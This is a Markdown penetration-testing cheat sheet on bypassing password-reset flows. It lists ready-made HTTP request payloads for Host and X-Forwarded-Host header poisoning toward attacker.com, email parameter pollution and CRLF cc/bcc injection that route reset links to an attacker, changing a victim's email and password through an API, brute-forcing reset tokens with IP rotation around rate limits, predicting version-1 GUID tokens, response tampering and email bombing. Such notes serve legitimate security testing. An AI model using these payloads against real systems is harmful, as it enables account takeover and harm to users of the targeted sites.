199 lines
5.1 KiB
Markdown
199 lines
5.1 KiB
Markdown
# Reset Password Bypass
|
||
|
||
## Password Reset Poisoning
|
||
If you find a host header attack and it’s out of scope, try to find the password reset button!
|
||
* Intercept the password reset request in Burpsuite
|
||
* Add following header or edit header in burpsuite(try one by one)
|
||
```javascript
|
||
Host: attacker.com
|
||
```
|
||
```javascript
|
||
Host: target.com
|
||
X-Forwarded-Host: attacker.com
|
||
|
||
```
|
||
```javascript
|
||
Host: target.com
|
||
Host: attacker.com
|
||
```
|
||
* Check if the link to change the password inside the email is pointing to attacker.com
|
||
|
||
## Password Reset By Manipulating Email Parameter
|
||
* Add attacker email as second parameter using &
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
|
||
* Add attacker email as second parameter using %20
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
|
||
* Add attacker email as second parameter using |
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
|
||
* Add attacker email as second parameter using cc
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
|
||
* Add attacker email as second parameter using bcc
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
|
||
* Add attacker email as second parameter using ,
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
|
||
* Add attacker email as second parameter in json array
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
|
||
## Changing Email And Password of any User through API Parameters
|
||
1. Attacker have to login with their account and Go to the Change password function
|
||
2. Start the Burp Suite and Intercept the request
|
||
3. After intercepting the request sent it to repeater and modify parameters Email and Password
|
||
```javascript
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
|
||
## No Rate Limiting: Email Bombing
|
||
1. Start the Burp Suite and Intercept the password reset request
|
||
2. Send to intruder
|
||
3. Use null payload
|
||
|
||
## Find out How Password Reset Token is Generated
|
||
pattern of password reset token
|
||
|
||
If it
|
||
* Generated based Timestamp
|
||
* Generated based on the UserID
|
||
* Generated based on email of User
|
||
* Generated based on Firstname and Lastname
|
||
* Generated based on Date of Birth
|
||
* Generated based on Cryptography
|
||
|
||
**Use Burp Sequencer to find the randomness or predictability of tokens**
|
||
|
||
|
||
## Guessable GUID
|
||
There are different types of GUIDs:
|
||
* Version 0: Only seen in the nil GUID ("00000000-0000-0000-0000-000000000000").
|
||
* Version 1: The GUID is generated in a predictable manner based on:
|
||
* The current time
|
||
* A randomly generated "clock sequence" which remains constant between GUIDs during the uptime of the generating system
|
||
* A "node ID", which is generated based on the system's MAC address if it is available
|
||
* Version 3: The GUID is generated using an MD5 hash of a provided name and namespace.
|
||
* Version 4: The GUID is randomly generated.
|
||
* Version 5: The GUID is generated using a SHA1 hash of a provided name and namespace.
|
||
|
||
Tools: [guidtool](https://github.com/intruder-io/guidtool)
|
||
```bash
|
||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||
UUID version: 1
|
||
UUID time: 2021-11-17 17:52:18.141000
|
||
UUID timestamp: 138564643381410000
|
||
UUID node: 17547390002044
|
||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||
UUID clock sequence: 3426
|
||
|
||
```
|
||
If the used version to generate a reset password GUID is the version 1, it's possible to bruteforce GUIDS:
|
||
```bash
|
||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||
|
||
```
|
||
|
||
## Response manipulation: Replace Bad Response With Good One
|
||
Look for Request and Response like these
|
||
```javascript
|
||
HTTP/1.1 401 Unauthorized
|
||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||
|
||
// Change Response
|
||
HTTP/1.1 200 OK
|
||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||
|
||
```
|
||
|
||
## Using Expired Token
|
||
* Check if the expired token can be reused
|
||
|
||
|
||
## Brute Force Password Rest token
|
||
Try to bruteforce the reset token using Burpsuite
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&code=$BRUTE$
|
||
|
||
```
|
||
* Use IP-Rotator on burpsuite to bypass IP based ratelimit.
|
||
|
||
## Try Using Your Token
|
||
* Try adding your password reset token with victim’s Account
|
||
```javascript
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&code=$YOUR_TOKEN$
|
||
|
||
```
|
||
|
||
## Session Invalidation in Logout/Password Reset
|
||
When a user logs out or reset his password, the current session should be invalidated.
|
||
Therefore, grab the cookies while the user is logged in, log out, and check if the cookies are still valid.
|
||
|
||
Repeat the process changing the password instead of logging out.
|
||
|
||
|
||
## Reset Token expiration Time
|
||
The reset tokens must have an expiration time, after it the token shouldn't be valid to change the password of a user.
|
||
|
||
|
||
## Extra Checks
|
||
* Use username@burp_collab.net and analyze the callback
|
||
* User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||
* Long password (>200) leads to DoS
|
||
* Append second email param and value
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|